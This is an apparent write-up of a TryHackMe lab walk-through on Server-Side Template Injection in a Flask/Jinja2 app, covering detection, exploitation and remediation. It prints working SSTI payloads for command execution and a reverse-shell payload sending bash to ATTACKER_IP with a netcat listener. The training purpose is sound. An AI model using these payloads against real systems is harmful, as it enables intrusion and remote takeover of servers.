Introduction
In this video walk-through, we covered the detection, exploitation and remediation of Server Side Template Injection Vulnerability.
What is Server Side Template Injection?
Server-Side Template Injection (SSTI) occurs when user input is rendered as part of a server-side template, allowing attackers to inject malicious template code. This vulnerability can lead to information disclosure, remote code execution, or full system compromise.
What is a template engine?
A template engine allows you to create static template files which can be re-used in your application.
What is the impact of SSTI?
As the name suggests, SSTI is a server side exploit, rather than client side such as cross site scripting (XSS).
This means that vulnerabilities are even more critical, because instead of an account on the website being hijacked (common use of XSS), the server instead gets hijacked.
The possibilities are endless, however the main goal is typically to gain remote code execution.
Initial Setup & Environment
- The TryHackMe room provides a vulnerable web app using Python Flask.
- The app runs on port
5000
and features a simple profile page. - The page dynamically displays a profile based on the username supplied via the URL query.
- Example:
http://IP:5000/profile/jake
Identifying SSTI Vulnerability
- The app takes user input (
username
) and directly injects it into the template. - First test: change
username
to{{7*7}}
- If evaluated to
49
, it confirms SSTI.
- If evaluated to
- Initial probe:
{{7*7}}
If error is returned or calculation is evaluated, it indicates template injection is present.
In this case, the expression is evaluated, confirming the vulnerability.
Determining the Template Engine
- It’s critical to identify the underlying template engine (e.g., Jinja2, Twig, Mako).
- Tool used: PayloadsAllTheThings → SSTI Mapping
- Common expressions tested:
{{7*7}}, ${7*7}, <% 7*7 %>
Result: Jinja2 confirmed because {{7*7}}
returned 49
.
Testing Malicious Payloads
- The next step is to try payloads that achieve code execution.
- Examples from PayloadsAllTheThings:
{{''.__class__.__mro__[2].__subclasses__()[40]('/usr/bin/id',shell=True,stdout=-1).communicate()[0]}}
- This type of payload leverages Python introspection to access system modules and execute OS commands.
Achieving Remote Code Execution (RCE)
- After confirming code execution with
id
, the attacker uses a reverse shell payload. - Netcat (
nc
) is used to set up a listener:
nc -nlvp 4545
Payload to send back shell:
{{ cycler.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4545 0>&1'").read() }}
- This returns a full shell from the victim machine to the attacker.
Reviewing the Insecure Code
- Python Flask template renders:
return render_template_string("Welcome to the profile of {{ user }}")
- This directly includes the
user
input from the URL, without any sanitization. - Input like
{{7*7}}
is evaluated due to lack of validation.
Secure Coding & Mitigation
- Instead of direct template injection, validate input using:
- Whitelisting valid characters
- Regular expressions
if re.match(r'^[a-zA-Z0-9_]+$', user_input):
render_template("profile.html", user=user_input)
- Avoid
render_template_string()
with user input. - Always escape user data or use template variables safely.
Real-World Example: Uber Case Study
- In 2016, Uber was vulnerable to SSTI via a profile update form.
- Researchers injected
{{7*7}}
into the name field and received email confirmations with the value49
. - This showed that user input was rendered server-side via Jinja2.
Important Commands & Tools Used
- Netcat listener:
nc -nlvp 4545
- Testing payloads:
{{7*7}}
– Detect injection{{ cycler.__init__.__globals__.os.popen("id").read() }}
– Execute system command- Reverse shell: Use
bash
, Python, or Netcat payloads
TryHackMe SSTI Room Answers